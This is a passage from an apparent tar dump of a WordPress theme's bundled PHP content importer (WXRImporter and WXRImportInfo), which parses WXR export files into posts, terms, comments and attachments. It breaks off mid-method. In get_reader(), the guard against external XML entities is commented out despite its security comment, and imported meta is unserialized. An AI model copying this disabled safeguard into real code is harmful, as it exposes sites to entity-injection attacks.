woocommerce_product_attributes_registration( $data ) { global $wpdb; if ( strstr( $data['taxonomy'], 'pa_' ) ) { if ( ! taxonomy_exists( $data['taxonomy'] ) ) { $attribute_name = wc_sanitize_taxonomy_name( str_replace( 'pa_', '', $data['taxonomy'] ) ); // Create the taxonomy if ( ! in_array( $attribute_name, wc_get_attribute_taxonomies() ) ) { $attribute = array( 'attribute_label' => $attribute_name, 'attribute_name' => $attribute_name, 'attribute_type' => 'select', 'attribute_orderby' => 'menu_order', 'attribute_public' => 0 ); $wpdb->insert( $wpdb->prefix . 'woocommerce_attribute_taxonomies', $attribute ); delete_transient( 'wc_attribute_taxonomies' ); } // Register the taxonomy now so that the import works! register_taxonomy( $data['taxonomy'], apply_filters( 'woocommerce_taxonomy_objects_' . $data['taxonomy'], array( 'product' ) ), apply_filters( 'woocommerce_taxonomy_args_' . $data['taxonomy'], array( 'hierarchical' => true, 'show_ui' => false, 'query_var' => true, 'rewrite' => false, ) ) ); } } return $data; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/proteusthemes/wp-content-importer-v2/src/WXRImportInfo.php����������������������������0000644�����������������00000000451�15154650146�0022516 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace ProteusThemes\WPContentImporter2; class WXRImportInfo { public $home; public $siteurl; public $title; public $users = array(); public $post_count = 0; public $media_count = 0; public $comment_count = 0; public $term_count = 0; public $generator = ''; public $version; }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/proteusthemes/wp-content-importer-v2/src/WXRImporter.php������������������������������0000644�����������������00000222330�15154650146�0022233 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace ProteusThemes\WPContentImporter2; use WP_Error; use XMLReader; class WXRImporter extends \WP_Importer { /** * Maximum supported WXR version */ const MAX_WXR_VERSION = 1.2; /** * Regular expression for checking if a post references an attachment * * Note: This is a quick, weak check just to exclude text-only posts. More * vigorous checking is done later to verify. */ const REGEX_HAS_ATTACHMENT_REFS = '! ( # Match anything with an image or attachment class class=[\'"].*?\b(wp-image-\d+|attachment-[\w\-]+)\b | # Match anything that looks like an upload URL src=[\'"][^\'"]*( [0-9]{4}/[0-9]{2}/[^\'"]+\.(jpg|jpeg|png|gif) | content/uploads[^\'"]+ )[\'"] )!ix'; /** * Version of WXR we're importing. * * Defaults to 1.0 for compatibility. Typically overridden by a * `<wp:wxr_version>` tag at the start of the file. * * @var string */ protected $version = '1.0'; // information to import from WXR file protected $categories = array(); protected $tags = array(); protected $base_url = ''; // TODO: REMOVE THESE protected $processed_terms = array(); protected $processed_posts = array(); protected $processed_menu_items = array(); protected $menu_item_orphans = array(); protected $missing_menu_items = array(); // NEW STYLE public $options = array(); protected $mapping = array(); protected $requires_remapping = array(); protected $exists = array(); protected $user_slug_override = array(); protected $url_remap = array(); protected $featured_images = array(); /** * Logger instance. * * @var WPImporterLogger */ protected $logger; /** * Constructor * * @param array $options { * @var bool $prefill_existing_posts Should we prefill `post_exists` calls? (True prefills and uses more memory, false checks once per imported post and takes longer. Default is true.) * @var bool $prefill_existing_comments Should we prefill `comment_exists` calls? (True prefills and uses more memory, false checks once per imported comment and takes longer. Default is true.) * @var bool $prefill_existing_terms Should we prefill `term_exists` calls? (True prefills and uses more memory, false checks once per imported term and takes longer. Default is true.) * @var bool $update_attachment_guids Should attachment GUIDs be updated to the new URL? (True updates the GUID, which keeps compatibility with v1, false doesn't update, and allows duplication and reimporting. Default is false.) * @var bool $fetch_attachments Fetch attachments from the remote server. (True fetches and creates attachment posts, false skips attachments. Default is false.) * @var bool $aggressive_url_search Should we search/replace for URLs aggressively? (True searches all posts' content for old URLs and replaces, false checks for `<img class="wp-image-*">` only. Default is false.) * @var int $default_author User ID to use if author is missing or invalid. (Default is null, which leaves posts unassigned.) * } */ public function __construct( $options = array() ) { // Initialize some important variables $empty_types = array( 'post' => array(), 'comment' => array(), 'term' => array(), 'user' => array(), ); $this->mapping = $empty_types; $this->mapping['user_slug'] = array(); $this->mapping['term_id'] = array(); $this->requires_remapping = $empty_types; $this->exists = $empty_types; $this->options = wp_parse_args( $options, array( 'prefill_existing_posts' => true, 'prefill_existing_comments' => true, 'prefill_existing_terms' => true, 'update_attachment_guids' => false, 'fetch_attachments' => false, 'aggressive_url_search' => false, 'default_author' => null, ) ); } public function set_logger( $logger ) { $this->logger = $logger; } /** * Get a stream reader for the file. * * @param string $file Path to the XML file. * @return XMLReader|WP_Error Reader instance on success, error otherwise. */ protected function get_reader( $file ) { // Avoid loading external entities for security $old_value = null; if ( function_exists( 'libxml_disable_entity_loader' ) ) { // $old_value = libxml_disable_entity_loader( true ); } $reader = new XMLReader(); $status = $reader->open( $file ); if ( ! is_null( $old_value ) ) { // libxml_disable_entity_loader( $old_value ); } if ( ! $status ) { return new WP_Error( 'wxr_importer.cannot_parse', __( 'Could not open the file for parsing', 'wordpress-importer' ) ); } return $reader; } /** * The main controller for the actual import stage. * * @param string $file Path to the WXR file for importing * * @return WXRImportInfo|WP_Error */ public function get_preliminary_information( $file ) { // Let's run the actual importer now, woot $reader = $this->get_reader( $file ); if ( is_wp_error( $reader ) ) { return $reader; } // Set the version to compatibility mode first $this->version = '1.0'; // Start parsing! $data = new WXRImportInfo(); while ( $reader->read() ) { // Only deal with element opens if ( $reader->nodeType !== XMLReader::ELEMENT ) { continue; } switch ( $reader->name ) { case 'wp:wxr_version': // Upgrade to the correct version $this->version = $reader->readString(); if ( version_compare( $this->version, self::MAX_WXR_VERSION, '>' ) ) { $this->logger->warning( sprintf( __( 'This WXR file (version %s) is newer than the importer (version %s) and may not be supported. Please consider updating.', 'wordpress-importer' ), $this->version, self::MAX_WXR_VERSION ) ); } // Handled everything in this node, move on to the next $reader->next(); break; case 'generator': $data->generator = $reader->readString(); $reader->next(); break; case 'title': $data->title = $reader->readString(); $reader->next(); break; case 'wp:base_site_url': $data->siteurl = $reader->readString(); $reader->next(); break; case 'wp:base_blog_url': $data->home = $reader->readString(); $reader->next(); break; case 'wp:author': $node = $reader->expand(); $parsed = $this->parse_author_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $data->users[] = $parsed; // Handled everything in this node, move on to the next $reader->next(); break; case 'item': $node = $reader->expand(); $parsed = $this->parse_post_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } if ( $parsed['data']['post_type'] === 'attachment' ) { $data->media_count++; } else { $data->post_count++; } $data->comment_count += count( $parsed['comments'] ); // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:category': case 'wp:tag': case 'wp:term': $data->term_count++; // Handled everything in this node, move on to the next $reader->next(); break; } } $data->version = $this->version; return $data; } /** * The main controller for the actual import stage. * * @param string $file Path to the WXR file for importing * * @return array|WP_Error */ public function parse_authors( $file ) { // Let's run the actual importer now, woot $reader = $this->get_reader( $file ); if ( is_wp_error( $reader ) ) { return $reader; } // Set the version to compatibility mode first $this->version = '1.0'; // Start parsing! $authors = array(); while ( $reader->read() ) { // Only deal with element opens if ( $reader->nodeType !== XMLReader::ELEMENT ) { continue; } switch ( $reader->name ) { case 'wp:wxr_version': // Upgrade to the correct version $this->version = $reader->readString(); if ( version_compare( $this->version, self::MAX_WXR_VERSION, '>' ) ) { $this->logger->warning( sprintf( __( 'This WXR file (version %s) is newer than the importer (version %s) and may not be supported. Please consider updating.', 'wordpress-importer' ), $this->version, self::MAX_WXR_VERSION ) ); } // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:author': $node = $reader->expand(); $parsed = $this->parse_author_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $authors[] = $parsed; // Handled everything in this node, move on to the next $reader->next(); break; } } return $authors; } /** * The main controller for the actual import stage. * * @param string $file Path to the WXR file for importing. */ public function import( $file ) { add_filter( 'import_post_meta_key', array( $this, 'is_valid_meta_key' ) ); add_filter( 'http_request_timeout', array( &$this, 'bump_request_timeout' ) ); $result = $this->import_start( $file ); if ( is_wp_error( $result ) ) { return $result; } // Let's run the actual importer now, woot $reader = $this->get_reader( $file ); if ( is_wp_error( $reader ) ) { return $reader; } // Set the version to compatibility mode first $this->version = '1.0'; // Reset other variables $this->base_url = ''; // Start parsing! while ( $reader->read() ) { // Only deal with element opens if ( $reader->nodeType !== XMLReader::ELEMENT ) { continue; } switch ( $reader->name ) { case 'wp:wxr_version': // Upgrade to the correct version $this->version = $reader->readString(); if ( version_compare( $this->version, self::MAX_WXR_VERSION, '>' ) ) { $this->logger->warning( sprintf( __( 'This WXR file (version %s) is newer than the importer (version %s) and may not be supported. Please consider updating.', 'wordpress-importer' ), $this->version, self::MAX_WXR_VERSION ) ); } // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:base_site_url': $this->base_url = $reader->readString(); // Handled everything in this node, move on to the next $reader->next(); break; case 'item': $node = $reader->expand(); $parsed = $this->parse_post_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $this->process_post( $parsed['data'], $parsed['meta'], $parsed['comments'], $parsed['terms'] ); // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:author': $node = $reader->expand(); $parsed = $this->parse_author_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $status = $this->process_author( $parsed['data'], $parsed['meta'] ); if ( is_wp_error( $status ) ) { $this->log_error( $status ); } // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:category': $node = $reader->expand(); $parsed = $this->parse_term_node( $node, 'category' ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $status = $this->process_term( $parsed['data'], $parsed['meta'] ); // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:tag': $node = $reader->expand(); $parsed = $this->parse_term_node( $node, 'tag' ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $status = $this->process_term( $parsed['data'], $parsed['meta'] ); // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:term': $node = $reader->expand(); $parsed = $this->parse_term_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $status = $this->process_term( $parsed['data'], $parsed['meta'] ); // Handled everything in this node, move on to the next $reader->next(); break; default: // Skip this node, probably handled by something already break; } } // Now that we've done the main processing, do any required // post-processing and remapping. $this->post_process(); if ( $this->options['aggressive_url_search'] ) { $this->replace_attachment_urls_in_content(); } $this->remap_featured_images(); $this->import_end(); } /** * Log an error instance to the logger. * * @param WP_Error $error Error instance to log. */ protected function log_error( WP_Error $error ) { $this->logger->warning( $error->get_error_message() ); // Log the data as debug info too $data = $error->get_error_data(); if ( ! empty( $data ) ) { $this->logger->debug( var_export( $data, true ) ); } } /** * Parses the WXR file and prepares us for the task of processing parsed data * * @param string $file Path to the WXR file for importing */ protected function import_start( $file ) { if ( ! is_file( $file ) ) { return new WP_Error( 'wxr_importer.file_missing', __( 'The file does not exist, please try again.', 'wordpress-importer' ) ); } // Suspend bunches of stuff in WP core wp_defer_term_counting( true ); wp_defer_comment_counting( true ); wp_suspend_cache_invalidation( true ); // Prefill exists calls if told to if ( $this->options['prefill_existing_posts'] ) { $this->prefill_existing_posts(); } if ( $this->options['prefill_existing_comments'] ) { $this->prefill_existing_comments(); } if ( $this->options['prefill_existing_terms'] ) { $this->prefill_existing_terms(); } /** * Begin the import. * * Fires before the import process has begun. If you need to suspend * caching or heavy processing on hooks, do so here. */ do_action( 'import_start' ); } /** * Performs post-import cleanup of files and the cache */ protected function import_end() { // Re-enable stuff in core wp_suspend_cache_invalidation( false ); wp_cache_flush(); foreach ( get_taxonomies() as $tax ) { delete_option( "{$tax}_children" ); _get_term_hierarchy( $tax ); } wp_defer_term_counting( false ); wp_defer_comment_counting( false ); flush_rewrite_rules(); /** * Complete the import. * * Fires after the import process has finished. If you need to update * your cache or re-enable processing, do so here. */ do_action( 'import_end' ); } /** * Set the user mapping. * * @param array $mapping List of map arrays (containing `old_slug`, `old_id`, `new_id`) */ public function set_user_mapping( $mapping ) { foreach ( $mapping as $map ) { if ( empty( $map['old_slug'] ) || empty( $map['old_id'] ) || empty( $map['new_id'] ) ) { $this->logger->warning( __( 'Invalid author mapping', 'wordpress-importer' ) ); $this->logger->debug( var_export( $map, true ) ); continue; } $old_slug = $map['old_slug']; $old_id = $map['old_id']; $new_id = $map['new_id']; $this->mapping['user'][ $old_id ] = $new_id; $this->mapping['user_slug'][ $old_slug ] = $new_id; } } /** * Set the user slug overrides. * * Allows overriding the slug in the import with a custom/renamed version. * * @param string[] $overrides Map of old slug to new slug. */ public function set_user_slug_overrides( $overrides ) { foreach ( $overrides as $original => $renamed ) { $this->user_slug_override[ $original ] = $renamed; } } /** * Parse a post node into post data. * * @param \DOMNode $node Parent node of post data (typically `item`). * @return array|WP_Error Post data array on success, error otherwise. */ protected function parse_post_node( $node ) { $data = array(); $meta = array(); $comments = array(); $terms = array(); foreach ( $node->childNodes as $child ) { // We only care about child elements if ( $child->nodeType !== XML_ELEMENT_NODE ) { continue; } switch ( $child->tagName ) { case 'wp:post_type': $data['post_type'] = $child->textContent; break; case 'title': $data['post_title'] = $child->textContent; break; case 'guid': $data['guid'] = $child->textContent; break; case 'dc:creator': $data['post_author'] = $child->textContent; break; case 'content:encoded': $data['post_content'] = $child->textContent; break; case 'excerpt:encoded': $data['post_excerpt'] = $child->textContent; break; case 'wp:post_id': $data['post_id'] = $child->textContent; break; case 'wp:post_date': $data['post_date'] = $child->textContent; break; case 'wp:post_date_gmt': $data['post_date_gmt'] = $child->textContent; break; case 'wp:comment_status': $data['comment_status'] = $child->textContent; break; case 'wp:ping_status': $data['ping_status'] = $child->textContent; break; case 'wp:post_name': $data['post_name'] = $child->textContent; break; case 'wp:status': $data['post_status'] = $child->textContent; if ( $data['post_status'] === 'auto-draft' ) { // Bail now return new WP_Error( 'wxr_importer.post.cannot_import_draft', __( 'Cannot import auto-draft posts' ), $data ); } break; case 'wp:post_parent': $data['post_parent'] = $child->textContent; break; case 'wp:menu_order': $data['menu_order'] = $child->textContent; break; case 'wp:post_password': $data['post_password'] = $child->textContent; break; case 'wp:is_sticky': $data['is_sticky'] = $child->textContent; break; case 'wp:attachment_url': $data['attachment_url'] = $child->textContent; break; case 'wp:postmeta': $meta_item = $this->parse_meta_node( $child ); if ( ! empty( $meta_item ) ) { $meta[] = $meta_item; } break; case 'wp:comment': $comment_item = $this->parse_comment_node( $child ); if ( ! empty( $comment_item ) ) { $comments[] = $comment_item; } break; case 'category': $term_item = $this->parse_category_node( $child ); if ( ! empty( $term_item ) ) { $terms[] = $term_item; } break; } } return compact( 'data', 'meta', 'comments', 'terms' ); } /** * Create new posts based on import information * * Posts marked as having a parent which doesn't exist will become top level items. * Doesn't create a new post if: the post type doesn't exist, the given post ID * is already noted as imported or a post with the same title and date already exists. * Note that new/updated terms, comments and meta are imported for the last of the above. * * @param array $data Post data. * @param array $meta Meta data. * @param array $comments Comments on the post. * @param array $terms Terms on the post. */ protected function process_post( $data, $meta, $comments, $terms ) { /** * Pre-process post data. * * @param array $data Post data. (Return empty to skip.) * @param array $meta Meta data. * @param array $comments Comments on the post. * @param array $terms Terms on the post. */ $data = apply_filters( 'wxr_importer.pre_process.post', $data, $meta, $comments, $terms ); if ( empty( $data ) ) { return false; } $original_id = isset( $data['post_id'] ) ? (int) $data['post_id'] : 0; $parent_id = isset( $data['post_parent'] ) ? (int) $data['post_parent'] : 0; // Have we already processed this? if ( isset( $this->mapping['post'][ $original_id ] ) ) { return false; } $post_type_object = get_post_type_object( $data['post_type'] ); // Is this type even valid? if ( ! $post_type_object ) { $this->logger->warning( sprintf( __( 'Failed to import "%s": Invalid post type %s', 'wordpress-importer' ), $data['post_title'], $data['post_type'] ) ); return false; } $post_exists = $this->post_exists( $data ); if ( $post_exists ) { $this->logger->info( sprintf( __( '%s "%s" already exists.', 'wordpress-importer' ), $post_type_object->labels->singular_name, $data['post_title'] ) ); // Even though this post already exists, new comments might need importing $this->process_comments( $comments, $original_id, $data, $post_exists ); return false; } // Map the parent post, or mark it as one we need to fix $requires_remapping = false; if ( $parent_id ) { if ( isset( $this->mapping['post'][ $parent_id ] ) ) { $data['post_parent'] = $this->mapping['post'][ $parent_id ]; } else { $meta[] = array( 'key' => '_wxr_import_parent', 'value' => $parent_id ); $requires_remapping = true; $data['post_parent'] = 0; } } // Map the author, or mark it as one we need to fix $author = sanitize_user( $data['post_author'], true ); if ( empty( $author ) ) { // Missing or invalid author, use default if available. $data['post_author'] = $this->options['default_author']; } elseif ( isset( $this->mapping['user_slug'][ $author ] ) ) { $data['post_author'] = $this->mapping['user_slug'][ $author ]; } else { $meta[] = array( 'key' => '_wxr_import_user_slug', 'value' => $author ); $requires_remapping = true; $data['post_author'] = (int) get_current_user_id(); } // Does the post look like it contains attachment images? if ( preg_match( self::REGEX_HAS_ATTACHMENT_REFS, $data['post_content'] ) ) { $meta[] = array( 'key' => '_wxr_import_has_attachment_refs', 'value' => true ); $requires_remapping = true; } // Whitelist to just the keys we allow $postdata = array( 'import_id' => $data['post_id'], ); $allowed = array( 'post_author' => true, 'post_date' => true, 'post_date_gmt' => true, 'post_content' => true, 'post_excerpt' => true, 'post_title' => true, 'post_status' => true, 'post_name' => true, 'comment_status' => true, 'ping_status' => true, 'guid' => true, 'post_parent' => true, 'menu_order' => true, 'post_type' => true, 'post_password' => true, ); foreach ( $data as $key => $value ) { if ( ! isset( $allowed[ $key ] ) ) { continue; } $postdata[ $key ] = $data[ $key ]; } $postdata = apply_filters( 'wp_import_post_data_processed', $postdata, $data ); if ( 'attachment' === $postdata['post_type'] ) { if ( ! $this->options['fetch_attachments'] ) { $this->logger->notice( sprintf( __( 'Skipping attachment "%s", fetching attachments disabled' ), $data['post_title'] ) ); return false; } $remote_url = ! empty( $data['attachment_url'] ) ? $data['attachment_url'] : $data['guid']; $post_id = $this->process_attachment( $postdata, $meta, $remote_url ); } else { $post_id = wp_insert_post( $postdata, true ); do_action( 'wp_import_insert_post', $post_id, $original_id, $postdata, $data ); } if ( is_wp_error( $post_id ) ) { $this->logger->error( sprintf( __( 'Failed to import "%s" (%s)', 'wordpress-importer' ), $data['post_title'], $post_type_object->labels->singular_name ) ); $this->logger->debug( $post_id->get_error_message() ); /** * Post processing failed. * * @param WP_Error $post_id Error object. * @param array $data Raw data imported for the post. * @param array $meta Raw meta data, already processed by {@see process_post_meta}. * @param array $comments Raw comment data, already processed by {@see process_comments}. * @param array $terms Raw term data, already processed. */ do_action( 'wxr_importer.process_failed.post', $post_id, $data, $meta, $comments, $terms ); return false; } // Ensure stickiness is handled correctly too if ( $data['is_sticky'] === '1' ) { stick_post( $post_id ); } // map pre-import ID to local ID $this->mapping['post'][ $original_id ] = (int) $post_id; if ( $requires_remapping ) { $this->requires_remapping['post'][ $post_id ] = true; } $this->mark_post_exists( $data, $post_id ); $this->logger->info( sprintf( __( 'Imported "%s" (%s)', 'wordpress-importer' ), $data['post_title'], $post_type_object->labels->singular_name ) ); $this->logger->debug( sprintf( __( 'Post %d remapped to %d', 'wordpress-importer' ), $original_id, $post_id ) ); // Handle the terms too $terms = apply_filters( 'wp_import_post_terms', $terms, $post_id, $data ); if ( ! empty( $terms ) ) { $term_ids = array(); foreach ( $terms as $term ) { $taxonomy = $term['taxonomy']; $key = sha1( $taxonomy . ':' . $term['slug'] ); if ( isset( $this->mapping['term'][ $key ] ) ) { $term_ids[ $taxonomy ][] = (int) $this->mapping['term'][ $key ]; } else { /** * Fix for the post format "categories". * The issue in this importer is, that these post formats are misused as categories in WP export * (as the export data <category> item in the post export item), but they are not actually * exported as wp:category items in the XML file, so they need to be inserted on the fly (here). * * Maybe something better can be done in the future? * * Original issue reported here: https://wordpress.org/support/topic/post-format-videoquotegallery-became-format-standard/#post-8447683 * */ if ( 'post_format' === $taxonomy ) { $term_exists = term_exists( $term['slug'], $taxonomy ); $term_id = is_array( $term_exists ) ? $term_exists['term_id'] : $term_exists; if ( empty( $term_id ) ) { $t = wp_insert_term( $term['name'], $taxonomy, array( 'slug' => $term['slug'] ) ); if ( ! is_wp_error( $t ) ) { $term_id = $t['term_id']; $this->mapping['term'][ $key ] = $term_id; } else { $this->logger->warning( sprintf( esc_html__( 'Failed to import term: %s - %s', 'wordpress-importer' ), esc_html( $taxonomy ), esc_html( $term['name'] ) ) ); continue; } } if ( ! empty( $term_id ) ) { $term_ids[ $taxonomy ][] = intval( $term_id ); } } // End of fix. else { $meta[] = array( 'key' => '_wxr_import_term', 'value' => $term ); $requires_remapping = true; } } } foreach ( $term_ids as $tax => $ids ) { $tt_ids = wp_set_post_terms( $post_id, $ids, $tax ); do_action( 'wp_import_set_post_terms', $tt_ids, $ids, $tax, $post_id, $data ); } } $this->process_comments( $comments, $post_id, $data ); $this->process_post_meta( $meta, $post_id, $data ); if ( 'nav_menu_item' === $data['post_type'] ) { $this->process_menu_item_meta( $post_id, $data, $meta ); } /** * Post processing completed. * * @param int $post_id New post ID. * @param array $data Raw data imported for the post. * @param array $meta Raw meta data, already processed by {@see process_post_meta}. * @param array $comments Raw comment data, already processed by {@see process_comments}. * @param array $terms Raw term data, already processed. */ do_action( 'wxr_importer.processed.post', $post_id, $data, $meta, $comments, $terms ); } /** * Attempt to create a new menu item from import data * * Fails for draft, orphaned menu items and those without an associated nav_menu * or an invalid nav_menu term. If the post type or term object which the menu item * represents doesn't exist then the menu item will not be imported (waits until the * end of the import to retry again before discarding). * * @param int $post_id Menu item post ID. * @param array $data Menu item details from WXR file. * @param array $meta Menu item meta details. */ protected function process_menu_item_meta( $post_id, $data, $meta ) { $item_type = get_post_meta( $post_id, '_menu_item_type', true ); $original_object_id = get_post_meta( $post_id, '_menu_item_object_id', true ); $object_id = null; $this->logger->debug( sprintf( 'Processing menu item %s', $item_type ) ); $requires_remapping = false; switch ( $item_type ) { case 'taxonomy': if ( isset( $this->mapping['term_id'][ $original_object_id ] ) ) { $object_id = $this->mapping['term_id'][ $original_object_id ]; } else { add_post_meta( $post_id, '_wxr_import_menu_item', wp_slash( $original_object_id ) ); $requires_remapping = true; } break; case 'post_type': if ( isset( $this->mapping['post'][ $original_object_id ] ) ) { $object_id = $this->mapping['post'][ $original_object_id ]; } else { add_post_meta( $post_id, '_wxr_import_menu_item', wp_slash( $original_object_id ) ); $requires_remapping = true; } break; case 'custom': // Custom refers to itself, wonderfully easy. $object_id = $post_id; break; default: // associated object is missing or not imported yet, we'll retry later $this->missing_menu_items[] = $data; $this->logger->debug( 'Unknown menu item type' ); break; } if ( $requires_remapping ) { $this->requires_remapping['post'][ $post_id ] = true; } if ( empty( $object_id ) ) { // Nothing needed here. return; } $this->logger->debug( sprintf( 'Menu item %d mapped to %d', $original_object_id, $object_id ) ); update_post_meta( $post_id, '_menu_item_object_id', wp_slash( $object_id ) ); } /** * If fetching attachments is enabled then attempt to create a new attachment * * @param array $post Attachment post details from WXR. * @param array $meta Attachment post meta details. * @param string $remote_url URL to fetch attachment from. * * @return int|WP_Error Post ID on success, WP_Error otherwise */ protected function process_attachment( $post, $meta, $remote_url ) { // try to use _wp_attached file for upload folder placement to ensure the same location as the export site // e.g. location is 2003/05/image.jpg but the attachment post_date is 2010/09, see media_handle_upload() $post['upload_date'] = $post['post_date']; foreach ( $meta as $meta_item ) { if ( $meta_item['key'] !== '_wp_attached_file' ) { continue; } if ( preg_match( '%^[0-9]{4}/[0-9]{2}%', $meta_item['value'], $matches ) ) { $post['upload_date'] = $matches[0]; } break; } // if the URL is absolute, but does not contain address, then upload it assuming base_site_url if ( preg_match( '|^/[\w\W]+$|', $remote_url ) ) { $remote_url = rtrim( $this->base_url, '/' ) . $remote_url; } $upload = $this->fetch_remote_file( $remote_url, $post ); if ( is_wp_error( $upload ) ) { return $upload; } $info = wp_check_filetype( $upload['file'] ); if ( ! $info ) { return new WP_Error( 'attachment_processing_error', __( 'Invalid file type', 'wordpress-importer' ) ); } $post['post_mime_type'] = $info['type']; // WP really likes using the GUID for display. Allow updating it. // See https://core.trac.wordpress.org/ticket/33386 if ( $this->options['update_attachment_guids'] ) { $post['guid'] = $upload['url']; } // as per wp-admin/includes/upload.php $post_id = wp_insert_attachment( $post, $upload['file'] ); if ( is_wp_error( $post_id ) ) { return $post_id; } $attachment_metadata = wp_generate_attachment_metadata( $post_id, $upload['file'] ); wp_update_attachment_metadata( $post_id, $attachment_metadata ); // Map this image URL later if we need to $this->url_remap[ $remote_url ] = $upload['url']; // If we have a HTTPS URL, ensure the HTTP URL gets replaced too if ( substr( $remote_url, 0, 8 ) === 'https://' ) { $insecure_url = 'http' . substr( $remote_url, 5 ); $this->url_remap[ $insecure_url ] = $upload['url']; } if ( $this->options['aggressive_url_search'] ) { // remap resized image URLs, works by stripping the extension and remapping the URL stub. /*if ( preg_match( '!^image/!', $info['type'] ) ) { $parts = pathinfo( $remote_url ); $name = basename( $parts['basename'], ".{$parts['extension']}" ); // PATHINFO_FILENAME in PHP 5.2 $parts_new = pathinfo( $upload['url'] ); $name_new = basename( $parts_new['basename'], ".{$parts_new['extension']}" ); $this->url_remap[$parts['dirname'] . '/' . $name] = $parts_new['dirname'] . '/' . $name_new; }*/ } return $post_id; } /** * Parse a meta node into meta data. * * @param \DOMNode $node Parent node of meta data (typically `wp:postmeta` or `wp:commentmeta`). * @return array|null Meta data array on success, or null on error. */ protected function parse_meta_node( $node ) { foreach ( $node->childNodes as $child ) { // We only care about child elements if ( $child->nodeType !== XML_ELEMENT_NODE ) { continue; } switch ( $child->tagName ) { case 'wp:meta_key': $key = $child->textContent; break; case 'wp:meta_value': $value = $child->textContent; break; } } if ( empty( $key ) || ! isset( $value ) ) { return null; } return compact( 'key', 'value' ); } /** * Process and import post meta items. * * @param array $meta List of meta data arrays * @param int $post_id Post to associate with * @param array $post Post data * @return int|WP_Error Number of meta items imported on success, error otherwise. */ protected function process_post_meta( $meta, $post_id, $post ) { if ( empty( $meta ) ) { return true; } foreach ( $meta as $meta_item ) { /** * Pre-process post meta data. * * @param array $meta_item Meta data. (Return empty to skip.) * @param int $post_id Post the meta is attached to. */ $meta_item = apply_filters( 'wxr_importer.pre_process.post_meta', $meta_item, $post_id ); if ( empty( $meta_item ) ) { return false; } $key = apply_filters( 'import_post_meta_key', $meta_item['key'], $post_id, $post ); $value = false; if ( '_edit_last' === $key ) { $value = intval( $meta_item['value'] ); if ( ! isset( $this->mapping['user'][ $value ] ) ) { // Skip! continue; } $value = $this->mapping['user'][ $value ]; } if ( $key ) { // export gets meta straight from the DB so could have a serialized string if ( ! $value ) { $value = maybe_unserialize( $meta_item['value'] ); } add_post_meta( $post_id, $key, $value ); do_action( 'import_post_meta', $post_id, $key, $value ); // if the post has a featured image, take note of this in case of remap if ( '_thumbnail_id' === $key ) { $this->featured_images[ $post_id ] = (int) $value; } } } return true; } /** * Parse a comment node into comment data. * * @param \DOMNode $node Parent node of comment data (typically `wp:comment`). * @return array Comment data array. */ protected function parse_comment_node( $node ) { $data = array( 'commentmeta' => array(), ); foreach ( $node->childNodes as $child ) { // We only care about child elements if ( $child->nodeType !== XML_ELEMENT_NODE ) { continue; } switch ( $child->tagName ) { case 'wp:comment_id': $data['comment_id'] = $child->textContent; break; case 'wp:comment_author': $data['comment_author'] = $child->textContent; break; case 'wp:comment_author_email': $data['comment_author_email'] = $child->textContent; break; case 'wp:comment_author_IP': $data['comment_author_IP'] = $child->textContent; break; case 'wp:comment_author_url': $data['comment_author_url'] = $child->textContent; break; case 'wp:comment_user_id': $data['comment_user_id'] = $child->textContent; break; case 'wp:comment_date': $data['comment_date'] = $child->textContent; break; case 'wp:comment_date_gmt': $data['comment_date_gmt'] = $child->textContent; break; case 'wp:comment_content': $data['comment_content'] = $child->textContent; break; case 'wp:comment_approved': $data['comment_approved'] = $child->textContent; break; case 'wp:comment_type': $data['comment_type'] = $child->textContent; break; case 'wp:comment_parent': $data['comment_parent'] = $child->textContent; break; case 'wp:commentmeta': $meta_item = $this->parse_meta_node( $child ); if ( ! empty( $meta_item ) ) { $data['commentmeta'][] = $meta_item; } break; } } return $data; } /** * Process and import comment data. * * @param array $comments List of comment data arrays. * @param int $post_id Post to associate with. * @param array $post Post data. * @param boolean $post_exists Boolean if the post already exists. * * @return int|WP_Error Number of comments imported on success, error otherwise. */ protected function process_comments( $comments, $post_id, $post, $post_exists = false ) { $comments = apply_filters( 'wp_import_post_comments', $comments, $post_id, $post ); if ( empty( $comments ) ) { return 0; } $num_comments = 0; // Sort by ID to avoid excessive remapping later usort( $comments, array( $this, 'sort_comments_by_id' ) ); foreach ( $comments as $key => $comment ) { /** * Pre-process comment data * * @param array $comment Comment data. (Return empty to skip.) * @param int $post_id Post the comment is attached to. */ $comment = apply_filters( 'wxr_importer.pre_process.comment', $comment, $post_id ); if ( empty( $comment ) ) { return false; } $original_id = isset( $comment['comment_id'] ) ? (int) $comment['comment_id'] : 0; $parent_id = isset( $comment['comment_parent'] ) ? (int) $comment['comment_parent'] : 0; $author_id = isset( $comment['comment_user_id'] ) ? (int) $comment['comment_user_id'] : 0; // if this is a new post we can skip the comment_exists() check // TODO: Check comment_exists for performance if ( $post_exists ) { $existing = $this->comment_exists( $comment ); if ( $existing ) { $this->mapping['comment'][ $original_id ] = $existing; continue; } } // 